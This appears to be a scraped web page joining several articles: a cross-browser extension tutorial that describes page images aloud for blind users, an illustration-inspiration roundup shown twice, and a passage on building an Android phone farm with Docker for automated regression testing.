Source Han Serif
Read the story behind the open source Pan-CJK typeface by Adobe that supports Simplified Chinese, Traditional Chinese, Japanese, and Korean.
Read the story behind the open source Pan-CJK typeface by Adobe that supports Simplified Chinese, Traditional Chinese, Japanese, and Korean.
In today’s article, we’ll create a JavaScript extension that works in all major modern browsers, using the very same code base. Indeed, the Chrome extension model based on HTML, CSS and JavaScript is now available almost everywhere, and there is even a Browser Extension Community Group1 working on a standard.
I’ll explain how you can install this extension that supports the web extension model (i.e. Edge, Chrome, Firefox, Opera, Brave and Vivaldi), and provide some simple tips on how to get a unique code base for all of them, but also how to debug in each browser.
Note: We won’t cover Safari in this article because it doesn’t support the same extension model2 as others.
I won’t cover the basics of extension development because plenty of good resources are already available from each vendor:
So, if you’ve never built an extension before or don’t know how it works, have a quick look at those resources. Don’t worry: Building one is simple and straightforward.
Let’s build a proof of concept — an extension that uses artificial intelligence (AI) and computer vision to help the blind analyze images on a web page.
We’ll see that, with a few lines of code, we can create some powerful features in the browser. In my case, I’m concerned with accessibility on the web and I’ve already spent some time thinking about how to make a breakout game accessible using web audio and SVG14, for instance.
Still, I’ve been looking for something that would help blind people in a more general way. I was recently inspired while listening to a great talk by Chris Heilmann15 in Lisbon: “Pixels and Hidden Meaning in Pixels16.”
Indeed, using today’s AI algorithms in the cloud, as well as text-to-speech technologies, exposed in the browser with the Web Speech API17 or using a remote cloud service, we can very easily build an extension that analyzes web page images with missing or improperly filled alt text properties.
My little proof of concept simply extracts images from a web page (the one in the active tab) and displays the thumbnails in a list. When you click on one of the images, the extension queries the Computer Vision API to get some descriptive text for the image and then uses either the Web Speech API or Bing Speech API to share it with the visitor.
The video below demonstrates it in Edge, Chrome, Firefox, Opera and Brave.
You’ll notice that, even when the Computer Vision API is analyzing some CGI images, it’s very accurate! I’m really impressed by the progress the industry has made on this in recent months.
I’m using these services:
TODO section in the code with your key to make this extension work on your machine. To get an idea of what this API can do, play around with it20.But feel free to try other similar services:
You can find the code for this small browser extension on my GitHub page27. Feel free to modify the code for other products you want to test.
Most of the code and tutorials you’ll find use the namespace chrome.xxx for the Extension API (chrome.tabs, for instance).
But, as I’ve said, the Extension API model is currently being standardized to browser.xxx, and some browsers are defining their own namespaces in the meantime (for example, Edge is using msBrowser).
Fortunately, most of the API remains the same behind the browser. So, it’s very simple to create a little trick to support all browsers and namespace definitions, thanks to the beauty of JavaScript:
window.browser = (function () { return window.msBrowser || window.browser || window.chrome; })();
And voilà!
Of course, you’ll also need to use the subset of the API supported by all browsers. For instance:
Let’s review together the architecture of this extension. If you’re new to browser extensions, this should help you to understand the flow.
Let’s start with the manifest file31:
32This manifest file and its associated JSON is the minimum you’ll need to load an extension in all browsers, if we’re not considering the code of the extension itself, of course. Please check the source34 in my GitHub account, and start from here to be sure that your extension is compatible with all browsers.
For instance, you must specify an author property to load it in Edge; otherwise, it will throw an error. You’ll also need to use the same structure for the icons. The default_title property is also important because it’s used by screen readers in some browsers.
Here are links to the documentation to help you build a manifest file that is compatible everywhere:
The sample extension used in this article is mainly based on the concept of the content script38. This is a script living in the context of the page that we’d like to inspect. Because it has access to the DOM, it will help us to retrieve the images contained in the web page. If you’d like to know more about what a content script is, Opera39, Mozilla40 and Google41 have documentation on it.
Our content script42 is simple:
43console.log("Dare Angel content script started"); browser.runtime.onMessage.addListener(function (request, sender, sendResponse) { if (request.command == "requestImages") { var images = document.getElementsByTagName('img'); var imagesList = []; for (var i = 0; i 64 && images[i].height > 64)) { imagesList.push({ url: images[i].src, alt: images[i].alt }); } } sendResponse(JSON.stringify(imagesList)); } }); view raw
This first logs into the console to let you check that the extension has properly loaded. Check it via your browser’s developer tool, accessible from F12, Control + Shift + I or ⌘ + ⌥ + I.
It then waits for a message from the UI page with a requestImages command to get all of the images available in the current DOM, and then it returns a list of their URLs if they’re bigger than 64 × 64 pixels (to avoid all of the pixel-tracking junk and low-resolution images).
45The popup UI page47 we’re using is very simple and will display the list of images returned by the content script inside a flexbox container48. It loads the start.js script, which immediately creates an instance of dareangel.dashboard.js49 to send a message to the content script to get the URLs of the images in the currently visible tab.
Here’s the code that lives in the UI page, requesting the URLs to the content script:
browser.tabs.query({ active: true, currentWindow: true }, (tabs) => { browser.tabs.sendMessage(tabs[0].id, { command: "requestImages" }, (response) => { this._imagesList = JSON.parse(response); this._imagesList.forEach((element) => { var newImageHTMLElement = document.createElement("img"); newImageHTMLElement.src = element.url; newImageHTMLElement.alt = element.alt; newImageHTMLElement.tabIndex = this._tabIndex; this._tabIndex++; newImageHTMLElement.addEventListener("focus", (event) => { if (COMPUTERVISIONKEY !== "") { this.analyzeThisImage(event.target.src); } else { var warningMsg = document.createElement("div"); warningMsg.innerHTML = "
Please generate a Computer Vision key in the other tab. Link
"; this._targetDiv.insertBefore(warningMsg, this._targetDiv.firstChild); browser.tabs.create({ active: false, url: "https://www.microsoft.com/cognitive-services/en-US/sign-up?ReturnUrl=/cognitive-services/en-us/subscriptions?productId=%2fproducts%2f54d873dd5eefd00dc474a0f4" }); } }); this._targetDiv.appendChild(newImageHTMLElement); }); }); });
We’re creating image elements. Each image will trigger an event if it has focus, querying the Computer Vision API for review.
This is done by this simple XHR call:
analyzeThisImage(url) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = () => { if (xhr.readyState == 4 && xhr.status == 200) { var response = document.querySelector('#response'); var reponse = JSON.parse(xhr.response); var resultToSpeak = `With a confidence of ${Math.round(reponse.description.captions[0].confidence * 100)}%, I think it's ${reponse.description.captions[0].text}`; console.log(resultToSpeak); if (!this._useBingTTS || BINGSPEECHKEY === "") { var synUtterance = new SpeechSynthesisUtterance(); synUtterance.text = resultToSpeak; window.speechSynthesis.speak(synUtterance); } else { this._bingTTSclient.synthesize(resultToSpeak); } } }; xhr.onerror = (evt) => { console.log(evt); }; try { xhr.open('POST', 'https://api.projectoxford.ai/vision/v1.0/describe'); xhr.setRequestHeader("Content-Type", "application/json"); xhr.setRequestHeader("Ocp-Apim-Subscription-Key", COMPUTERVISIONKEY); var requestObject = { "url": url }; xhr.send(JSON.stringify(requestObject)); } catch (ex) { console.log(ex); } } view raw
The following articles will you help you to understand how this Computer Vision API works:
In our case, we’re using the describe feature of the API. You’ll also notice in the callback that we will try to use either the Web Speech API or the Bing Text-to-Speech service, based on your options.
Here, then, is the global workflow of this little extension:
52Let’s review quickly how to install the extension in each browser.
Download or clone my small extension54 from GitHub somewhere to your hard drive.
Also, modify dareangel.dashboard.js to add at least a Computer Vision API key. Otherwise, the extension will only be able to display the images extracted from the web page.
First, you’ll need at least a Windows 10 Anniversary Update (OS Build 14393+) to have support for extensions in Edge.
Then, open Edge and type about:flags in the address bar. Check the “Enable extension developer features.”
55Click on “…” in the Edge’s navigation bar and then “Extensions” and then “Load extension,” and select the folder where you’ve cloned my GitHub repository. You’ll get this:
56Click on this freshly loaded extension, and enable “Show button next to the address bar.”
57Note the “Reload extension” button, which is useful while you’re developing your extension. You won’t be forced to remove or reinstall it during the development process; just click the button to refresh the extension.
Navigate to BabylonJS626158, and click on the Dare Angel (DA) button to follow the same demo as shown in the video.
In Chrome, navigate to chrome://extensions. In Opera, navigate to opera://extensions. And in Vivaldi, navigate to vivaldi://extensions. Then, enable “Developer mode.”
Click on “Load unpacked extension,” and choose the folder where you’ve extracted my extension.
59Navigate to BabylonJS626158, and open the extension to check that it works fine.
You’ve got two options here. The first is to temporarily load your extension, which is as easy as it is in Edge and Chrome.
Open Firefox, navigate to about:debugging and click “Load Temporary Add-on.” Then, navigate to the folder of the extension, and select the manifest.json file. That’s it! Now go to BabylonJS626158 to test the extension.
63The only problem with this solution is that every time you close the browser, you’ll have to reload the extension. The second option would be to use the XPI packaging. You can learn more about this in “Extension Packaging65” on the Mozilla Developer Network.
The public version of Brave doesn’t have a “developer mode” embedded in it to let you load an unsigned extension. You’ll need to build your own version of it by following the steps in “Loading Chrome Extensions in Brave66.”
As explained in that article, once you’ve cloned Brave, you’ll need to open the extensions.js file in a text editor. Locate the lines below, and insert the registration code for your extension. In my case, I’ve just added the two last lines:
// Manually install the braveExtension and torrentExtension extensionInfo.setState(config.braveExtensionId, extensionStates.REGISTERED) loadExtension(config.braveExtensionId, getExtensionsPath('brave'), generateBraveManifest(), 'component') extensionInfo.setState('DareAngel', extensionStates.REGISTERED) loadExtension('DareAngel', getExtensionsPath('DareAngel/')) view raw
Copy the extension to the app/extensions folder. Open two command prompts in the browser-laptop folder. In the first one, launch npm run watch, and wait for webpack to finish building Brave’s Electron app. It should say, “webpack: bundle is now VALID.” Otherwise, you’ll run into some issues.
67Then, in the second command prompt, launch npm start, which will launch our slightly custom version of Brave.
In Brave, navigate to about:extensions, and you should see the extension displayed and loaded in the address bar.
69Tip for all browsers: Using console.log(), simply log some data from the flow of your extension. Most of the time, using the browser’s developer tools, you’ll be able to click on the JavaScript file that has logged it to open it and debug it.
To debug the client script part, living in the context of the page, you just need to open F12. Then, click on the “Debugger” tab and find your extension’s folder.
Open the script file that you’d like to debug — dareangel.client.js, in my case — and debug your code as usual, setting up breakpoints, etc.
71If your extension creates a separate tab to do its job (like the Page Analyzer73, which our Vorlon.js74 team published in the store), simply press F12 on that tab to debug it.
75If you’d like to debug the popup page, you’ll first need to get the ID of your extension. To do that, simply go into the property of the extension and you’ll find an ID property:
77Then, you’ll need to type in the address bar something like ms-browser-extension://ID_of_your_extension/yourpage.html. In our case, it would be ms-browser-extension://DareAngel_vdbyzyarbfgh8/dashboard.html. Then, simply use F12 on this page:
78Because Chrome and Opera rely on the same Blink code base, they share the same debugging process. Even though Brave and Vivaldi are forks of Chromium, they also share the same debugging process most of the time.
To debug the client script part, open the browser’s developer tools on the page that you’d like to debug (pressing F12, Control + Shift + I or ⌘ + ⌥ + I, depending on the browser or platform you’re using).
Then, click on the “Content scripts” tab and find your extension’s folder. Open the script file that you’d like to debug, and debug your code just as you would do with any JavaScript code.
80To debug a tab that your extension would create, it’s exactly the same as with Edge: Simply use the developer tools.
82For Chrome and Opera, to debug the popup page, right-click on the button of your extension next to the address bar and choose “Inspect popup,” or open the HTML pane of the popup and right-click inside it to “Inspect.” Vivaldi only supports right-click and then “Inspect” inside the HTML pane once opened.
84For Brave, it’s the same process as with Edge. You first need to find the GUID associated with your extension in about:extensions:
86And then, in a separate tab, open the page you’d like to debug like — in my case, chrome-extension://bodaahkboijjjodkbmmddgjldpifcjap/dashboard.html — and open developer tools.
87For the layout, you have a bit of help using Shift + F8, which will let you inspect the complete frame of Brave. And you’ll discover that Brave is an Electron app using React!
Note, for instance, the data-reactroot attribute.
89Note: I had to slightly modify the CSS of the extension for Brave because it currently displays popups with a transparent background by default, and I also had some issues with the height of my images collection. I’ve limited it to four elements in Brave.
Mozilla has really great documentation on debugging web extensions91.
For the client script part, it’s the same as in Edge, Chrome, Opera and Brave. Simply open the developer tools in the tab you’d like to debug, and you’ll find a moz-extension://guid section with your code to debug:
92If you need to debug a tab that your extension would create (like Vorlon.js’ Page Analyzer extension), simply use the developer tools:
94Finally, debugging a popup is a bit more complex but is well explained in the “Debugging Popups96” section of the documentation.
97Each vendor has detailed documentation on the process to follow to publish your extension in its store. They all take similar approaches. You need to package the extension in a particular file format — most of the time, a ZIP-like container. Then, you have to submit it in a dedicated portal, choose a pricing model and wait for the review process to complete. If accepted, your extension will be downloadable in the browser itself by any user who visits the extensions store.
Here are the various processes:
Please note that submitting a Microsoft Edge extension to the Windows Store is currently a restricted capability. Reach out to the Microsoft Edge team103 with your request to be a part of the Windows Store, and they’ll consider you for a future update.
I’ve tried to share as much of what I’ve learned from working on our Vorlon.js Page Analyzer extension104 and this little proof of concept.
Some developers remember the pain of working through various implementations to build their extension — whether it meant using different build directories, or working with slightly different extension APIs, or following totally different approaches, such as Firefox’s XUL extensions or Internet Explorer’s BHOs and ActiveX.
It’s awesome to see that, today, using our regular JavaScript, CSS and HTML skills, we can build great extensions using the very same code base and across all browsers!
Feel free to ping me on Twitter105 for any feedback.
(ms, vf, rb, yk, al, il)
On days when things don’t seem to go as you’d like them to and inspiration is at its lowest, it’s good to take a short break and go outside to try and empty your mind. That always seems to be the best remedy for me, especially whenever I jump on my bike and go for a short ride.
Now the time has come to enjoy these moments even more as the spring season finally starts to show up in nature. We’re starting to see green leaves on the trees again, and every morning I wake up to the sounds of the birds chirping. I really enjoy these small joys of spring — who doesn’t? Hopefully this new batch of illustrations will feed your creativity tank with extra vitamins to make sure those inspiration levels are up and running at its best.
Great color combination. Impressive how all elements have been refined to their best simplicity.
The fantasy of French illustrator Quentin Monge. Such a lovely style!
7Admiring how the illustrator played with light sources and shadows. The faces immediately catch your attention, don’t they?
9This one made me laugh. What if I was small? Those characters are just sublime! So very well done.
11Riding your bike together is exactly like you see here.
13Part of a bigger illustration of a mural. You can view a process video of how this was applied on the wall here15.
16Part of a bumper animation that plays before each film at Cinerama. Here you see it animated18. It’s really cool — I’m sure you’ll agree.
19Sometimes you don’t need much to get a great picture.
21This vintage bicycle event has always a nice poster.
23Nice style! The eyes with glasses are such stunners.
25A sneak peek of a new print the crew at DKNG is working on. Looks like Austin to me. Love the effect of the letters used as masks. How the few colors are applied is just sublime!
27One entry of ten finalists that capture the theme of “through young eyes” in this young photographers’ competition that aims to engage youth around the world in wildlife conservation. Check out the other nine submissions29, too.
30Divine color palette! Superb highlights and shadows.
32My kind of color palette and great textures.
34The colors are so harmonious and pleasing, and the drawing is just magnificent.
36Another addition to the European Tour Tycho is currently working on. This is quite lovely and makes me think back to the cassette era.
38Always a fan of something with a bike in it. When it’s created by the talented Madsberg it gets even better. I love the elegance in his work.
40Part of a series that was created as an irreverent ad campaign inspired by the hotel’s close relationship with the contemporary art world.
42Project on the theme of music, while playing with a Bauhaus-inspired style.
44Interesting play with lines. Not an easy one to pull off.
46With the atmosphere in this illustration you just feel the night. Come in and enjoy the ride.
48Brilliant light. Excellently executed. A perfect example of what you can get when you are in the right spot at the right time.
50Marvellous winter picture! Ain’t that light spectacular?
52Special style. Inspiring patterns.
54Lovely custom type and ornaments.
56Beautiful perspective, great reflection and amazing warm colors!
58Gorgeous photos of Paris from Nathalie Geffroy. Be sure to go see the rest.
60I’ve been following Oksana Grivina for many years and her style is just as lovely as I remember.
62The legendary car that still is to be seen in Oudenaarde, Belgium. Neil Stevens created this one for Matchbox.
64The portraits of Elodie are always a pleasure to look at. So many details to take in and think (wish I could do that).
66A second one from Elodie that I couldn’t resist. Look at those eyes and lips.
68Admiring the faces of these holiday characters for Westjet‘s inflight magazine “UP”. The expressions created with just a few lines.
70Love the use of color and patterns. Beautiful curvy lines of the landscape too!
72What an amazing display of white Northern Lights or white aurora curtain. Seen somewhere over Finland.
74Beautiful cover for Fabric‘s spring issue. Sam’s work usually has a futuristic element to it, but this one is great too, especially the plants and colors. Those lines and details in each leaf are just fantastically well executed. Perfect light and shadow effects too.
76The typefaces, textures and colors. They are all spot on in this illustration. Inspired by country vintage.
78Beautiful harmony and consistency without leaning over towards kitsch. Not easy when there is gold involved.
80Nice identity for The Digital Arts Expo, an annual showcase of student and faculty projects integrating engineering, computer science, and the visual and performing arts.
82Great nostalgic vibe in this one. Reminds of the early adverts from the 60’s. Love the bright colors, as well as the shadow and highlights effects.
84Illustration created for The Pixar Times86. Everybody loves a hero. Love how the shadows are done, and the pattern effects.
87Illustrations for Eurostar‘s Metropolitan magazine to accompany an article about what to see and do in Brussels. The butcher chasing the cow is such a nice detail.
89The faces are very original and recognizable as the style of Dutch illustrator Jackie Besteman.
91Love the figures and how they are portrayed.
93“When I’m stressed about work, I just think about this. Drawring!” Beautiful custom typography and great colors.
95A nice pattern of hotdogs to get you hungry. It’s available at the pattern library97.
98This image goes along an article on how Tim Tebow is making a drastic switch from being a football player to a baseball player. Love this vertical stripe collage blend effect. So well done!
100The lanes in the grass are like guides to draw you into the building. It also creates a beautiful symmetrical vibe.
102With a view like this I would totally think so. Taken in Belvedere, Tuscany.
104Great usage of minimal colors and shapes.
106Lovely tribute to the bokeh effect.
108(il)
On days when things don’t seem to go as you’d like them to and inspiration is at its lowest, it’s good to take a short break and go outside to try and empty your mind. That always seems to be the best remedy for me, especially whenever I jump on my bike and go for a short ride.
Now the time has come to enjoy these moments even more as the spring season finally starts to show up in nature. We’re starting to see green leaves on the trees again, and every morning I wake up to the sounds of the birds chirping. I really enjoy these small joys of spring — who doesn’t? Hopefully this new batch of illustrations will feed your creativity tank with extra vitamins to make sure those inspiration levels are up and running at its best.
Great color combination. Impressive how all elements have been refined to their best simplicity.
The fantasy of French illustrator Quentin Monge. Such a lovely style!
7Admiring how the illustrator played with light sources and shadows. The faces immediately catch your attention, don’t they?
9This one made me laugh. What if I was small? Those characters are just sublime! So very well done.
11Riding your bike together is exactly like you see here.
13Part of a bigger illustration of a mural. You can view a process video of how this was applied on the wall here15.
16Part of a bumper animation that plays before each film at Cinerama. Here you see it animated18. It’s really cool — I’m sure you’ll agree.
19Sometimes you don’t need much to get a great picture.
21This vintage bicycle event has always a nice poster.
23Nice style! The eyes with glasses are such stunners.
25A sneak peek of a new print the crew at DKNG is working on. Looks like Austin to me. Love the effect of the letters used as masks. How the few colors are applied is just sublime!
27One entry of ten finalists that capture the theme of “through young eyes” in this young photographers’ competition that aims to engage youth around the world in wildlife conservation. Check out the other nine submissions29, too.
30Divine color palette! Superb highlights and shadows.
32My kind of color palette and great textures.
34The colors are so harmonious and pleasing, and the drawing is just magnificent.
36Another addition to the European Tour Tycho is currently working on. This is quite lovely and makes me think back to the cassette era.
38Always a fan of something with a bike in it. When it’s created by the talented Madsberg it gets even better. I love the elegance in his work.
40Part of a series that was created as an irreverent ad campaign inspired by the hotel’s close relationship with the contemporary art world.
42Project on the theme of music, while playing with a Bauhaus-inspired style.
44Interesting play with lines. Not an easy one to pull off.
46With the atmosphere in this illustration you just feel the night. Come in and enjoy the ride.
48Brilliant light. Excellently executed. A perfect example of what you can get when you are in the right spot at the right time.
50Marvellous winter picture! Ain’t that light spectacular?
52Special style. Inspiring patterns.
54Lovely custom type and ornaments.
56Beautiful perspective, great reflection and amazing warm colors!
58Gorgeous photos of Paris from Nathalie Geffroy. Be sure to go see the rest.
60I’ve been following Oksana Grivina for many years and her style is just as lovely as I remember.
62The legendary car that still is to be seen in Oudenaarde, Belgium. Neil Stevens created this one for Matchbox.
64The portraits of Elodie are always a pleasure to look at. So many details to take in and think (wish I could do that).
66A second one from Elodie that I couldn’t resist. Look at those eyes and lips.
68Admiring the faces of these holiday characters for Westjet‘s inflight magazine “UP”. The expressions created with just a few lines.
70Love the use of color and patterns. Beautiful curvy lines of the landscape too!
72What an amazing display of white Northern Lights or white aurora curtain. Seen somewhere over Finland.
74Beautiful cover for Fabric‘s spring issue. Sam’s work usually has a futuristic element to it, but this one is great too, especially the plants and colors. Those lines and details in each leaf are just fantastically well executed. Perfect light and shadow effects too.
76The typefaces, textures and colors. They are all spot on in this illustration. Inspired by country vintage.
78Beautiful harmony and consistency without leaning over towards kitsch. Not easy when there is gold involved.
80Nice identity for The Digital Arts Expo, an annual showcase of student and faculty projects integrating engineering, computer science, and the visual and performing arts.
82Great nostalgic vibe in this one. Reminds of the early adverts from the 60’s. Love the bright colors, as well as the shadow and highlights effects.
84Illustration created for The Pixar Times86. Everybody loves a hero. Love how the shadows are done, and the pattern effects.
87Illustrations for Eurostar‘s Metropolitan magazine to accompany an article about what to see and do in Brussels. The butcher chasing the cow is such a nice detail.
89The faces are very original and recognizable as the style of Dutch illustrator Jackie Besteman.
91Love the figures and how they are portrayed.
93“When I’m stressed about work, I just think about this. Drawring!” Beautiful custom typography and great colors.
95A nice pattern of hotdogs to get you hungry. It’s available at the pattern library97.
98This image goes along an article on how Tim Tebow is making a drastic switch from being a football player to a baseball player. Love this vertical stripe collage blend effect. So well done!
100The lanes in the grass are like guides to draw you into the building. It also creates a beautiful symmetrical vibe.
102With a view like this I would totally think so. Taken in Belvedere, Tuscany.
104Great usage of minimal colors and shapes.
106Lovely tribute to the bokeh effect.
108(il)
Regression testing is one of the most time-consuming tasks when developing a mobile Android app. Using myMail as a case study, I’d like to share my experience and advice on how to build a flexible and extensible automated testing system for Android smartphones — from scratch.
The team at myMail currently uses about 60 devices for regression testing. On average, we test roughly 20 builds daily. Approximately 600 UI tests and more than 3,500 unit tests are run on each build. The automated tests are available 24/7, and save our testers a ton of time helping us to create high-quality applications. Without them, it would have taken us 36 hours (including wait time) to test every unit, or roughly 13 hours without the wait. It takes about 1.5 hours to run an automated test, including setup and translation updates. This cuts out weeks of tester work every day.
In case you write automated tests and do not deal with infrastructure, we will go through the process from the very beginning, from purchasing the phone and reinstalling firmware to creating Docker containers with the automated test phone inside. Watch the video1 to see the result.
When Android was just beginning to gain popularity, test developers had to choose the lesser of two evils: buy an expensive set of phones or work with slow and buggy virtual devices. Today, things are much simpler because virtual machines such as Android x86 and HAXM are available.
Yet there is still a choice to make. Many developers prefer virtual machines for automated tests, but actual phones have become a rather affordable option, even if your budget for test automation is limited. Real phones provide the most accurate picture of the application’s actual behavior. By using real phones, you can be certain that users will be able to perform any action in the program.
Accordingly, I recommend that even people who currently use virtual machines for test automation on Android obtain some real devices to ensure that their tests are also correct in real life. I’ll tell you how to choose a phone for automated regression testing and tell you what other equipment you’ll need in order to get everything to work together 24/7.
First of all, I should warn you that we will be choosing a phone model for regression tests, not configuration tests. Let’s assume that we have a lot of tests, for example 500 to 1000 application tests, that take 10 hours, and that we need several phones to complete them in 15 minutes. This sounds a little counterintuitive — why not just buy 10 to 20 different models of phones? The answer lies in the labor costs for the test automation code. You would end up writing the same test for different phone interfaces. When working with 20 different models, writing even one simple test would take a lot of time. But our present goal is to accelerate the execution of automated tests without increasing the labor costs of the programmer writing the tests.
The phone market is large, so it’s hard to know where to look first. What should be the criteria when choosing a phone? After some trial and error, I ended up with the following requirements (I’m not including any unit prices, since they should be readily available):
These criteria for purchasing a phone boil down to two things: Phone should not be slow and stuttering, and its software innards should be customizable as much as possible. Eliminating lag time saves us from the troubles of time-consuming tests, and customizability lets us correct problems that may arise over time (deterioration of operating system versions, internal phone bugs, a need to change system settings). If you find that something incorrectly works on the phone, then you at least have the chance to fix it yourself.
Root privileges, for example, let you use the command line to easily change the time on the phone, switch between Wi-Fi networks, and enable and disable system programs to simulate working with and without them. The unlocked boot sector lets users update the operating system and add custom firmware that extends the phone’s life even if the manufacturer discontinues support (which, unfortunately, is the case with most phones we have now). It would be sad if users running on Android 4.4 or Android 6 encountered an error, but your phones with automated tests run on Android 5, so nothing can be changed.
Unfortunately, you can’t ask the seller about most of these criteria at the time of purchase. That’s why we must first go to the XDA Developers forums158 and 4PDA forums9 to find all of the details we need to know about the model. If the model has been out for a while, pay attention to information about defects, memory and battery life — your device will be all but useless without these. Don’t be distracted by screens, buttons, cases, speakers and other features usually important to a user. The phone will work perfectly fine regardless (although this does depend on the specifics of your project).
Once you’ve chosen a model, you should probably order one or two for pretests to be sure that the OS doesn’t have any surprises in store, that all of the written tests run properly and that the hardware matches the manufacturer’s specifications. Below are the worst blunders I’ve seen in my experience as a buyer:
getprop and get-IDs. The issue is that the phone has passed through multiple hands and regions before getting to you. Its first owner was some Verizon subscriber from South Dakota. He returns it, and the now refurbished device somehow ends up with some seller in Tel Aviv, who unskillfully installs his local OS version on the hardware. Then, a seller from Moscow buys it and sells it again as a new phone. The courier brings it to you, and you receive your new eight-core reflashable Russian device, having no clue that you are actually holding a six-core locked area-specific device originally from a US cellular service customer.
10
12
13However, if you stick to the criteria above when choosing your phone, then these problems shouldn’t prove fatal. They can all be manually fixed to make the phone work properly.
So, which phones should you get to create your own test automation farm?
If you have the resources to buy the latest working models of Google Nexus (these are currently devices such as the Nexus 5X to 6P), then get these without thinking twice. You can install almost any operating system on them, they have an inherently “clean” Android base, and developers also tend to use them to test their applications.
Many companies are currently producing phone models for developers. With these phones, you can generally unlock the bootloader, and root privileges are available. If you find a good offer, take it.
Many phones with MediaTek (MTK) processors can be reflashed perfectly, and their main advantage is low cost. You’ll need to look for the specific models on the local market in your country, because the phones are typically available under different brand names, depending on location. The real manufacturers are usually large companies such as Gionee, Lenovo, Inventec, Tinno Mobile, Longcheer and Techain. These companies resell their phones in Western countries under brand names including Fly, Zopo, Wiko, Micromax, MyPhone, Blu, Walton, Allview and others. But not all phones are suitable: always evaluate them according to the criteria listed above. Farms with phones like these can often be cheaper than servers with virtual Android machines, so there is a significant chance to save some money here.
In addition to phones, you are going to need a computer and USB hubs to run the automated tests. There are some other things to consider at this stage. For example, constantly operating phones need a good power supply (at least 0.5A per device; more is better). The majority of hubs on the market come with weak adapters, not designed to have a constantly running phone plugged in at every port. Things are even more complicated when it comes to tablets: 9-inch tablets die quickly when running continuously becuase of large screen power consumption, so we have to choose among 7-inch units. In our experience, six to seven phones can be hooked up to a 4A adapter (depending on their workload). Therefore, most multiport hubs with a “3A adapter and 20 USB ports” are useless, to put it mildly. The cream of the crop is server solutions, but they are crazy expensive. So, we are going to have to limit ourselves to the consumer market. To keep the phone running, you have to get 3A four-port hubs or 4A six-port hubs. If a hub has a good power supply and a large number of ports, some ports can simply remain unused.
Let’s look at one phone model as an example. We will solve an OS problem and then try to put several devices together on a simple test stand for test automation. The phone itself is inexpensive and of decent quality, but it is not without its own shortcomings (described above). For example, these phones have the same iSerial, so ADB sees only one device, even if multiple devices are connected. We won’t change it everywhere on the phone, but we’ll make it possible for ADB to distinguish between the phones.
To do this, we have to reflash the phone’s bootloader and install a custom recovery partition on the phone. This is to protect ourselves from any unsuccessful experiments. The manuals on how to flash your specific phone model can be found in the XDA Developers forums158. Our phones have MT6580 installed, which is a MTK processor, so we can use SP Flash Tool as well as recovery.img and scatter file devices. These can be found online for almost any device on XDA Developers and 4PDA, but, if desired, a recovery can be compiled for your device using TWRP16 as a base and creating the scatter file yourself17. In any event, we’ll just take our files and reinstall them:
18Once the recovery partition is installed, use it to save the bootloader backup and move it to your machine. As a rule, this is where the OS configuration files are located.
In order to hardcode your iSerial, you’ll need to unpack the phone’s bootloader image. This can be done via Android Image Kitchen20. Start unpackimg.sh, and get the unpacked image in the ramdisk folder:
21init files here containing different variables, including the serial number.
22Let’s find the file with the serial number ${ro.serialno and replace it with our own number — for example, 999222333019:
find ramdisk/ -maxdepth 1 -name "init.mt*" -exec sed -i
's/${ro.serialno}/999222333019/g' {} +
Now, let’s pack the image back up using repacking.sh, transfer it to the phone and install it using custom recovery. Now ADB can distinguish between devices. All we need to do now is turn on developer mode on the phone and enable debugging in the developer menu. Any similar problems can be solved in exactly the same way. Pretty much everything on the phone can be reinstalled if that is what the tests require.
We will use a standard desktop with Ubuntu as the host for our test system. It might be necessary to transfer the connected phones from one computer to another. We might also need to build separate versions of the app for specific phone models.
To accomplish this, for each phone it’s a good idea to create an isolated virtual environment that we can change if necessary (for example, to install other versions of the Java Development Kit or to configure monitoring), without altering the other phones’ environments. As a result, our machine will be divided into several environments, each one accessible via a single phone (or a group of phones, depending on your requirements). We can establish these environments by creating several virtual machines on the host (this can be done on any operating system). Or you can do what I like to do, which is divide the phones using Docker containers, which work best on Linux. We will use a conventional desktop with Ubuntu as an example of a host for our stand.
There are specifics to consider when ordering or building the machines that the phones will be connected to. Apart from the standard HDD, RAM and CPU specs, pay attention to the number of USB controllers on the motherboard and the supported USB protocol. Phones that use USB 3.0 (xHCI) could significantly limit the maximum number of devices attached to the machine (usually 8 per controller, or 16 devices for a machine with 2 controllers), so it’s worth checking whether it’s possible to turn it off and use only EHCI. You will find those options in the BIOS or OS. It is best to forcibly disable xHCI in the BIOS if you don’t require high-speed devices.
As I wrote earlier, we want an integration system slave-agent to work with a specific phone and see only this phone. This way, the tests won’t accidentally run on other phones and give false pass or error results. To accomplish this, we need to separate them. When an integration system agent launches in a Docker container, each agent has access to only one device, so we can divide tasks in the integration system by specific phone models, operating system versions, screen sizes and other characteristics (for example, a container with a tablet can perform tests that require a wide screen, and a container with a phone could run tests requiring the ability to receive text messages).
Let’s use the example of a system installation and setup on Ubuntu. Here is the installation of Docker itself:
sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D echo 'deb https://apt.Dockerproject.org/repo main' >> /etc/apt/sources.list.d/Docker.list sudo apt-get update sudo apt-get install Docker-engine
We are going to use OverlayFS as a storage driver (it is relatively fast and reliable). You can read about the differences between various storage drivers23 on the official Docker website.
echo 'DOCKER_OPTS="-s overlay"' >> /etc/default/Docker
Then, we will create a Dockerfile, which is an instruction for Docker to install the minimum required software for the virtual environment where a mobile device will be isolated. We will create images from this instruction. Let’s add the Android SDK to the Dockerfile:
